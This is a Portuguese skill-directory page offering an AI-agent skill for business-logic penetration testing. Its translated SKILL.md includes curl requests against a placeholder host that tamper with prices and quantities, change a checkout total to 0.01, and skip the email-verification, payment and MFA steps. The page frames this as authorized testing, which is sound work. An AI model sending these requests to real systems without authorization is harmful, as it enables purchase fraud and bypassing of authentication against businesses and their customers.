Pular para o conteúdo
Skillpedia
Testes35 mil · #6220

testing-for-business-logic-vulnerabilities

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em como um site ou aplicativo lida com suas regras de negócio. Ela verifica se é possível burlar processos como pagamentos, descontos ou cadastros, algo que ferramentas automáticas geralmente não encontram.

Quando usar

  • ✓Quando testes de segurança automáticos não acham problemas.
  • ✓Para verificar se preços ou descontos podem ser alterados indevidamente.
  • ✓Ao testar processos com várias etapas, como um cadastro ou checkout.

Exemplo do que pedir para a IA

“Verifique se consigo aplicar um cupom de desconto várias vezes no meu carrinho de compras.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-business-logic-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-business-logic-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta intercepta as comunicações entre você e o site/aplicativo. Ela permite modificar essas comunicações para tentar burlar as regras, como mudar um preço ou pular uma etapa de verificação.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-business-logic-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-business-logic-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Vulnerabilidades de Lógica de Negócios

Quando Usar

  • Durante testes de penetração autorizados quando scanners automatizados encontraram poucas vulnerabilidades técnicas
  • Ao avaliar plataformas de e-commerce para manipulações de preços, carrinho e fluxo de pagamento
  • Para testar fluxos de trabalho de várias etapas (registro, checkout, processos de aprovação) em busca de oportunidades de bypass
  • Ao avaliar recursos com limite de taxa, como vales, cupons, indicações e sistemas de recompensas
  • Durante avaliações de segurança de aplicações financeiras, sistemas de votação ou qualquer aplicação com regras de negócios críticas

Pré-requisitos

  • Autorização: Acordo de teste de penetração por escrito cobrindo testes de lógica de negócios
  • Burp Suite Professional: Para interceptar e modificar fluxos de requisição de várias etapas
  • Compreensão da Aplicação: Conhecimento aprofundado dos fluxos de trabalho de negócios pretendidos da aplicação
  • Múltiplas contas de teste: Contas em diferentes níveis de privilégio e estados
  • DevTools do Navegador: Para examinar a lógica de validação do lado do cliente
  • Documentação: Requisitos de negócios ou histórias de usuário descrevendo o comportamento esperado

Fluxo de Trabalho

Etapa 1: Mapear Fluxos de Trabalho e Regras de Negócios

Documente todos os processos de negócios críticos e suas restrições esperadas.

# Critical business flows to map:
# 1. Registration/Onboarding flow
#    - Email verification requirements
#    - Account approval process
#    - Role assignment logic

# 2. E-commerce/Purchase flow
#    - Product selection → Cart → Checkout → Payment → Confirmation
#    - Price calculation logic
#    - Discount/coupon application
#    - Quantity limits
#    - Shipping cost calculation

# 3. Authentication/Authorization flow
#    - Login → MFA → Dashboard
#    - Password reset → Token → New password
#    - Role escalation/approval

# 4. Financial transactions
#    - Balance check → Transfer → Confirmation
#    - Withdrawal limits
#    - Currency conversion

# Document expected constraints:
# - Minimum order amounts
# - Maximum quantity per item
# - Coupon usage limits (one per user)
# - Referral reward caps
# - Withdrawal daily limits
# - Account verification requirements before certain actions

Etapa 2: Testar Manipulação de Preço e Quantidade

Intercepte e modifique os valores de preço, quantidade e total nas requisições.

# Test negative quantity
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": -1, "price": 99.99}' \
  "https://target.example.com/api/cart/add"

# Test zero price
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 1, "price": 0}' \
  "https://target.example.com/api/cart/add"

# Test extremely large quantity
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 999999999}' \
  "https://target.example.com/api/cart/add"

# Test decimal/float manipulation
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \
  "https://target.example.com/api/cart/add"

# Test integer overflow
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": 2147483647}' \
  "https://target.example.com/api/cart/add"

# Modify total amount directly in checkout request
# Intercept in Burp and change total from 299.99 to 0.01
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \
  "https://target.example.com/api/checkout"

Etapa 3: Testar Bypass de Etapa do Fluxo de Trabalho

Tente pular etapas obrigatórias em processos de várias etapas.

# Pular verificação de e-mail
# Em vez de: Registrar → Verificar e-mail → Acessar painel
# Tente: Registrar → Acessar painel diretamente
curl -s -H "Authorization: Bearer $UNVERIFIED_TOKEN" \
  "https://target.example.com/api/dashboard"

# Pular etapa de pagamento
# Em vez de: Carrinho → Frete → Pagamento → Confirmação
# Tente: Carrinho → Confirmação (pular pagamento)
curl -s -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "abc123", "shipping_address": "123 Main St"}' \
  "https://target.example.com/api/orders/confirm"

# Pular etapa de MFA
# Em vez de: Login → MFA → Painel
# Tente: Login → Painel (pular MFA)

…
Perguntas frequentes

Preciso de alguma ferramenta especial?

Sim, é recomendado usar o Burp Suite Professional para interceptar e modificar as requisições.

Preciso de permissão para usar?

Sim, é essencial ter autorização por escrito para realizar testes de segurança, especialmente de lógica de negócio.

Isso é diferente de um scanner de vulnerabilidade normal?

Sim, scanners automáticos procuram falhas técnicas conhecidas. Esta ferramenta foca em testar as regras e a lógica interna do aplicativo, que são únicas para cada sistema.

Detalhes

Descrição original do autor

Manually identifies flaws in application business logic - price manipulation, multi-step workflow bypass, and privilege escalation - by intercepting and modifying requests with Burp Suite, going beyond what automated vulnerability scanners detect. Use for e-commerce checkout/cart flows, voucher and rewards systems, or any assessment where scanners find little but business rules need scrutiny.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6220
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas